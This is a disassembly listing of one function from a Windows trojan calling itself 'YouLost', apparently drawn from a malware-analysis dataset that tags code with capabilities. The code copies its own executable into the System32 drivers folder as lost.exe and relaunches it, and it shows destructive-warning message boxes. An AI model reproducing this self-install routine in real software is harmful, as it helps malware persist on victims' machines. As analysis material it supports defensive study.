Function at 0x401900
Capabilities:
Copy file
Create process on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x644
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x218]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x218]
add eax, edx
mov dword [eax], 0x7379535c
mov dword [eax + 4], 0x336d6574
mov dword [eax + 8], 0x72645c32
mov dword [eax + 0xc], 0x72657669
mov word [eax + 0x10], 0x73
lea eax, [ebp - 0x218]
mov dword [esp + 8], eax
mov dword [esp + 4], str._slost.exe
lea eax, [ebp - 0x326]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 8], 0
lea eax, [ebp - 0x326]
mov dword [esp + 4], eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
nop
lea edx, [ebp - 0x36c]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x37c], 0
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x374], 0
mov dword [ebp - 0x370], 0
lea eax, [ebp - 0x114]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x326]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s___s_
lea eax, [ebp - 0x616]
mov dword [esp], eax
call sym._sprintf
cmp dword [ebp + 8], 0
jne 0x401aa6
lea eax, [ebp - 0x37c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x36c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x616]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 0
call sym._exit
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.WARNING___YouLost__A_
mov dword [esp + 4], str.WARNING__Youve_just_ran_YouLost__a_trojan_that_will_destroy_your_computer._It_is_highly_recommended_that_you_click__No__on_this_messagebox__and_nothing_will_happen._nThis_is_made_purely_for_educational_purposes_only__the_creator_is_not_responsible_for_any_damage__even_physical_damage_._n_nContinue_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 7
jne 0x401ae4
mov dword [esp], 0
call sym._exit
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.LAST_WARNING___YouLost__A_
mov dword [esp + 4], str.LAST_WARNING____Youve_just_ran_YouLost__a_trojan_that_will_destroy_your_computer._It_is_highly_recommended_that_you_click__No__on_this_messagebox__and_nothing_will_happen._nIf_you_have_readt_the_first_message_box__and_are_sure_you_want_to_destroy_this_computer__press_Yes._Otherwise__press__No__immediately._This_is_not_a_joke._nThis_is_made_purely_for_educational_purposes_only__the_creator_is_not_responsible_for_any_damage__even_physical_damage_._n_nTHIS_IS_YOUR_LAST_CHANCE__nCONTINUE_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 7
jne 0x401b22
mov dword [esp], 0
call sym._exit
mov eax, 1
mov edi, dword [ebp - 4]
leave
ret 4